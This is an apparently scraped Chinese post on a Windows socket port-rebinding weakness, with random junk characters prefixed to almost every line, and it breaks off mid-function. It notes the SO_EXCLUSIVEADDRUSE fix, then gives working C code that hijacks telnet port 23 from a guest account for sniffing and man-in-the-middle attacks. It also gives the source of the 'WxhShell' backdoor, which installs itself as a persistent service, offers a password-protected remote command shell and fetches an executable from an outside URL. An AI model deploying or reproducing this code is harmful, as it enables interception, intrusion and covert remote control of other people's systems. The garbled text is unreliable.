在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Lc&LF* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p"xti+2, o{W4@:Ib saddr.sin_family = AF_INET;
R*"31&3le4 Qkk3>{I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+*W9*gl uTWij4)a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
y v$@i A qw#wZ'<n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2H,^i, FW~{io]n 这意味着什么?意味着可以进行如下的攻击:
.Mn_T*F {Df97n%h; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
# 1 #zIAN> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
NWSm \d"uR@$3mG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
T[~8u9/ A#b`{C~l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G}2DZ=&>' \n&l 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
iY|zv|;]= ;s^br17z~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'7Ad:em
A^m]DSFOO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^|b ]E ZqDanDM #include
vb&1 S
#include
z:
;ZPSn #include
TO,XN\{y #include
~PTqR2x DWORD WINAPI ClientThread(LPVOID lpParam);
gv6}GE int main()
Zb \E!>V {
IIZu&iZo\ WORD wVersionRequested;
wsfN \6e DWORD ret;
zL^`r)H WSADATA wsaData;
fGwRv%$^ BOOL val;
~BUzyc% SOCKADDR_IN saddr;
6~oo.6bA SOCKADDR_IN scaddr;
W[$GB_A) int err;
a>05Yxw SOCKET s;
:
\{>+!`w SOCKET sc;
=7e|e6 int caddsize;
q7z;b A HANDLE mt;
.wdWs tQ DWORD tid;
>V01%fLd wVersionRequested = MAKEWORD( 2, 2 );
I^u$H& err = WSAStartup( wVersionRequested, &wsaData );
!,SGKLs.m if ( err != 0 ) {
A"Prgf
eT printf("error!WSAStartup failed!\n");
Fm{/&U^ return -1;
71RG1, }
@|=JXSr!KY saddr.sin_family = AF_INET;
X\=m ]-rhc.Gk@1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,k9@%{4 l EMTAl;P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MV(Sb:RZ saddr.sin_port = htons(23);
vqeWt[W
v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
XEUy,>mR {
:rdw0EROy printf("error!socket failed!\n");
9Kpzj43 return -1;
F0D7+-9[ }
tc|`cB3f val = TRUE;
?<*mIf:? //SO_REUSEADDR选项就是可以实现端口重绑定的
RaT_5P H~g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[|vE*&:uO {
y^ij u( printf("error!setsockopt failed!\n");
LH@xr\^ return -1;
Q.b<YRZ }
x;w^&<hQ\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
G*`H2-, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,Ky-3p> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
f%g^6[ =V[ey if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Bd8{25{c {
z{>p<)h ret=GetLastError();
fr19C%{ printf("error!bind failed!\n");
Li? _P5+a return -1;
&*e( }
ycPGv.6 listen(s,2);
|_}
LMkU) while(1)
,Fv8&tR {
_MI8P/ caddsize = sizeof(scaddr);
H[x$65ND //接受连接请求
p`PBPlUn sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6Hh\ys if(sc!=INVALID_SOCKET)
)' hOW*v {
Q4[^JQsR2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y30T>5 if(mt==NULL)
H}p5qW.tH: {
@:ojt$ printf("Thread Creat Failed!\n");
5gg
Yg$ break;
fqY;>Z }
`w;8xD( }
fPA5]a9 CloseHandle(mt);
2VZdtz }
8M~^/Zc closesocket(s);
}~akVh`3 WSACleanup();
-".q=$f return 0;
VJf|r#2 }
Uc[@] DWORD WINAPI ClientThread(LPVOID lpParam)
!EuqJjh {
8NUVHcB6 SOCKET ss = (SOCKET)lpParam;
e Lj1 SOCKET sc;
4[ .DQ#r unsigned char buf[4096];
'=V!Y$tn SOCKADDR_IN saddr;
rD?G7l<~>_ long num;
K.R4.{mo DWORD val;
nG~#o DWORD ret;
Rn4Bl8z'> //如果是隐藏端口应用的话,可以在此处加一些判断
A@?Rj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?b,x;hIO saddr.sin_family = AF_INET;
jfOqE*frl! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
KT9!R saddr.sin_port = htons(23);
*Bm7>g6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^tr?y??k {
zT< P_l printf("error!socket failed!\n");
~Q3y3,x return -1;
CC~:z/4,N }
wr~Ydmsf val = 100;
en?J#fz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c?/R=/H {
|n/qJIE6 ret = GetLastError();
!4 =]@eFk return -1;
pVa9g)+z} }
,SQ`, C
_5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]}za {
JK/VIu&! ret = GetLastError();
/E32^o|,> return -1;
*%#Sa~iPo }
zF([{5r[!) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
q-lejVS(g {
?r}'0dW printf("error!socket connect failed!\n");
Ob~7r*q closesocket(sc);
bZKlQ<sI closesocket(ss);
6]D%|R,Q#} return -1;
dU"ca|u }
iu$:_W_ while(1)
N6%wHNYZ {
^F? }MY> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.m^L,;+2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
p3q
>a< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Fs}vI~} num = recv(ss,buf,4096,0);
MKPw;@- if(num>0)
d7
W[.M$] send(sc,buf,num,0);
vhz[ H else if(num==0)
>69- [#P! break;
d J|/.J$d num = recv(sc,buf,4096,0);
PCkQ hR if(num>0)
~A-vIlGt! send(ss,buf,num,0);
iKVJ
c=C else if(num==0)
t~0!K;nn break;
<}
BuU! }
k7cM.<s! closesocket(ss);
(=eJceE! closesocket(sc);
P
=jRof$ return 0 ;
:5DL&,,Q3 }
":meys6t# Gkr?M^@K \kS:u}Ip! ==========================================================
oz[Mt
i* 0hB9D{`,{ 下边附上一个代码,,WXhSHELL
+WTO_J7 5?=haGn ==========================================================
a^xt9o` y~Ts9AE #include "stdafx.h"
6VQe?oh z:p;Wm #include <stdio.h>
M}Obvl #include <string.h>
)&F]j #include <windows.h>
HVLj(_
A #include <winsock2.h>
W3M1> ( #include <winsvc.h>
5B)z}g^h #include <urlmon.h>
a@v}j&
O>tz;RU #pragma comment (lib, "Ws2_32.lib")
,"xr^@W #pragma comment (lib, "urlmon.lib")
\|f3\4;! ,l )7]p*X #define MAX_USER 100 // 最大客户端连接数
CEXD0+\q #define BUF_SOCK 200 // sock buffer
[zsUboCkc #define KEY_BUFF 255 // 输入 buffer
=g3o@WD/G 6Qw5_V^0o #define REBOOT 0 // 重启
vLT$oiN[c #define SHUTDOWN 1 // 关机
+v{g' |J^}BXW'^) #define DEF_PORT 5000 // 监听端口
wOLA8UYW H)rE-7(f! #define REG_LEN 16 // 注册表键长度
9,J^tN@^ #define SVC_LEN 80 // NT服务名长度
/y-eVu6 fP>~ @^ // 从dll定义API
SF.Is=b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
vP @\" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RqU^Q*/sF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?igA+(. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
p*5QV ~bnyk%S
o // wxhshell配置信息
VoG:3qN struct WSCFG {
T?e(m int ws_port; // 监听端口
2qgm(jo *y char ws_passstr[REG_LEN]; // 口令
?qt .+2: int ws_autoins; // 安装标记, 1=yes 0=no
{^V9?^?d ( char ws_regname[REG_LEN]; // 注册表键名
(O-.^VV char ws_svcname[REG_LEN]; // 服务名
$TZjSZ1w char ws_svcdisp[SVC_LEN]; // 服务显示名
#e*jP&1S char ws_svcdesc[SVC_LEN]; // 服务描述信息
9%&
=n char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/!A?>#O&. int ws_downexe; // 下载执行标记, 1=yes 0=no
O]cuJp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{Q~HMe`, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
c_ Dg0 ,>Yl(=& };
4^3lG1^YY Y=$PsDh! // default Wxhshell configuration
DOB#PI[/ struct WSCFG wscfg={DEF_PORT,
I3^}$#> "xuhuanlingzhe",
<_ruVy0] 1,
{^*K@c "Wxhshell",
;^f ;< "Wxhshell",
CB KLct> "WxhShell Service",
f =T-4Of "Wrsky Windows CmdShell Service",
I(Gl8F\c~ "Please Input Your Password: ",
Y9r##r+ 1,
H[ o > "@4 "
http://www.wrsky.com/wxhshell.exe",
~Iz{@Ep* "Wxhshell.exe"
l#|wF$J };
u.rFZu?E\ pybE0] // 消息定义模块
#<o=W#[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
X4dxH_@ char *msg_ws_prompt="\n\r? for help\n\r#>";
n]x%xnt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8~j1 char *msg_ws_ext="\n\rExit.";
k}hTSL char *msg_ws_end="\n\rQuit.";
c_Lcsn char *msg_ws_boot="\n\rReboot...";
!e?2
x@J char *msg_ws_poff="\n\rShutdown...";
vT{+Z\LL= char *msg_ws_down="\n\rSave to ";
khQ@DwO*\= h]>7Dl] char *msg_ws_err="\n\rErr!";
Rc2JgV char *msg_ws_ok="\n\rOK!";
*o}7&Hw#9f r~YxtBZH+ char ExeFile[MAX_PATH];
xtFGj,N int nUser = 0;
W!o|0u!D HANDLE handles[MAX_USER];
3k# h!Z int OsIsNt;
SSn{,H8/j )N3XbbV SERVICE_STATUS serviceStatus;
t b>At*tO SERVICE_STATUS_HANDLE hServiceStatusHandle;
'B9q&k%< nw,XA0M3 // 函数声明
P<C=9@`! int Install(void);
mkuK$Mj int Uninstall(void);
N!%[.3o\K int DownloadFile(char *sURL, SOCKET wsh);
n`.JI(| int Boot(int flag);
^Rh`XE void HideProc(void);
=Q~@dP int GetOsVer(void);
0Z1';A3 int Wxhshell(SOCKET wsl);
aL^
58M y& void TalkWithClient(void *cs);
Qpocj: int CmdShell(SOCKET sock);
KXT9Wt= int StartFromService(void);
VM}7 ~ int StartWxhshell(LPSTR lpCmdLine);
4vJg"*? i)q8p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ApTE:Fm1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
1!W'0LPM &cZl2ynPi // 数据结构和表定义
HlOn=>)< SERVICE_TABLE_ENTRY DispatchTable[] =
!rTkH4!_ {
2#Du5d {wscfg.ws_svcname, NTServiceMain},
v(P5)R, {NULL, NULL}
cD ?'lB- };
Oh5aJ)"D +}x\|O // 自我安装
j1O_Az|3 int Install(void)
1O2jvt7M {
!W/"Z!k char svExeFile[MAX_PATH];
*h
M5pw HKEY key;
q,T4-
E strcpy(svExeFile,ExeFile);
DCKH^J g4^3H3Pd // 如果是win9x系统,修改注册表设为自启动
+?v2MsF'] if(!OsIsNt) {
*nSKIDw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uc
Ph*M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B &e'n< RegCloseKey(key);
*~kHH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|f3 :9(p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c Rv#aV RegCloseKey(key);
7;9 Jn return 0;
|3G;Rh9w, }
bD`h/jYv }
#z =$*\u }
5;X r0f else {
|ZG0E [LM9^*sG2V // 如果是NT以上系统,安装为系统服务
{ObUJ3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
C#TP1~6 if (schSCManager!=0)
C."\ a_p {
NH<~BC]I SC_HANDLE schService = CreateService
W>(w&k]%B (
k
[iT'] schSCManager,
%5!K?,z% wscfg.ws_svcname,
]OV}yD2p wscfg.ws_svcdisp,
R$bDj>8 SERVICE_ALL_ACCESS,
SBg|V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
20/P:; SERVICE_AUTO_START,
qIwsK\^p SERVICE_ERROR_NORMAL,
4q\&Mb3 svExeFile,
Y=D\ NULL,
I ZBY*kr NULL,
Y+{jG(rg.F NULL,
5c$\DZ( NULL,
`_SV1|=="8 NULL
Z8`Y}#Za [ );
dP?QPky{9 if (schService!=0)
]GBlads {
W<:x4gBa CloseServiceHandle(schService);
<"yL(s^u" CloseServiceHandle(schSCManager);
9V|)3GF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U(2=fKK; strcat(svExeFile,wscfg.ws_svcname);
o ~M=o:^nH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
uC%mGZa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RZ|M;c RegCloseKey(key);
y@r g_Paq return 0;
6+4SMf3 }
<c$rfjM+JU }
8^67,I-c CloseServiceHandle(schSCManager);
L_q3m-x0h }
WAf"| }
uH)?`I\zrd .'NTy
R return 1;
g3f;JB }
QUDpAW NAOCQDk{ // 自我卸载
MlR]+] int Uninstall(void)
-vv_6ZL[ {
0:JNkXZ: HKEY key;
OZEbs 7 intl?&wC if(!OsIsNt) {
(4|R}jv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n`V? n RegDeleteValue(key,wscfg.ws_regname);
D!z'Y,. RegCloseKey(key);
5+UNLvsZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mpQu:i|W RegDeleteValue(key,wscfg.ws_regname);
=1y~Qlu RegCloseKey(key);
kH`?^^_yJ return 0;
0U8'dYf }
Yl=-j }
>[;L. }
8erG]( else {
r7FJqd TfHL'u9B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4s@Tn>%SP if (schSCManager!=0)
^SK!?M {
*c
9S. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HPg%v| if (schService!=0)
N`~f77G {
F\^\,hy if(DeleteService(schService)!=0) {
+ViL" CloseServiceHandle(schService);
Q\>mg*79 CloseServiceHandle(schSCManager);
X#HH7V> return 0;
nuVux5: }
eAStpG"* CloseServiceHandle(schService);
.osG"cS }
qWf[X' CloseServiceHandle(schSCManager);
8`6G_:&X }
2A:&Cqo }
;y-:)7J j{D tjV8 return 1;
m&s>Sn+ }
)+ 'r-AF* 7 IJn9 b // 从指定url下载文件
4sW'pH int DownloadFile(char *sURL, SOCKET wsh)
u%lUi2P2E {
kP'm$+1or HRESULT hr;
p:W{c/tV char seps[]= "/";
efE=5%O char *token;
":q+"*fy char *file;
*Ms&WYN- char myURL[MAX_PATH];
I;n<)
> char myFILE[MAX_PATH];
5{#s<%b. =iH9=}aBFC strcpy(myURL,sURL);
[$td:N
* token=strtok(myURL,seps);
jo3(\Bq while(token!=NULL)
u-tD_UIck {
v7Ps-a) file=token;
H23 O]r token=strtok(NULL,seps);
sPVE_n }
,SNt*t1" 3hxV`rb GetCurrentDirectory(MAX_PATH,myFILE);
, &n"# strcat(myFILE, "\\");
XE&h&v=> strcat(myFILE, file);
9Ofls9]U send(wsh,myFILE,strlen(myFILE),0);
aqWlX0+ send(wsh,"...",3,0);
Djdd|Z+*{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
g*`xEb=' if(hr==S_OK)
Q*M(d\V s return 0;
f:y1eLl3 else
M2c7| return 1;
zR<fz 9gglyoZ% }
O;i0xWUh <EcxNj1 // 系统电源模块
D_1O4/ int Boot(int flag)
B?yjU[/R {
<1B+@ HANDLE hToken;
[^7P ]olW TOKEN_PRIVILEGES tkp;
42p1P6d KV8<'g +2? if(OsIsNt) {
OhMJt&s9P= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a2ho+TwT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$rTb'8 tkp.PrivilegeCount = 1;
8Lgm50bs tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
S4?WR+:h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
OZd
(~E if(flag==REBOOT) {
yimK"4!j5A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|i#06jIq return 0;
=FI[/"476 }
bC~I}^i\ else {
l5~O}`gfh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mlCg&fnDB return 0;
1e7I2g }
ekU%^R< }
(9kR'kr else {
WUo\jm[yr if(flag==REBOOT) {
`34{/}w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/HS"{@Z"h return 0;
0FY-e~xr }
RgW#z-PZF else {
&CSy>7&q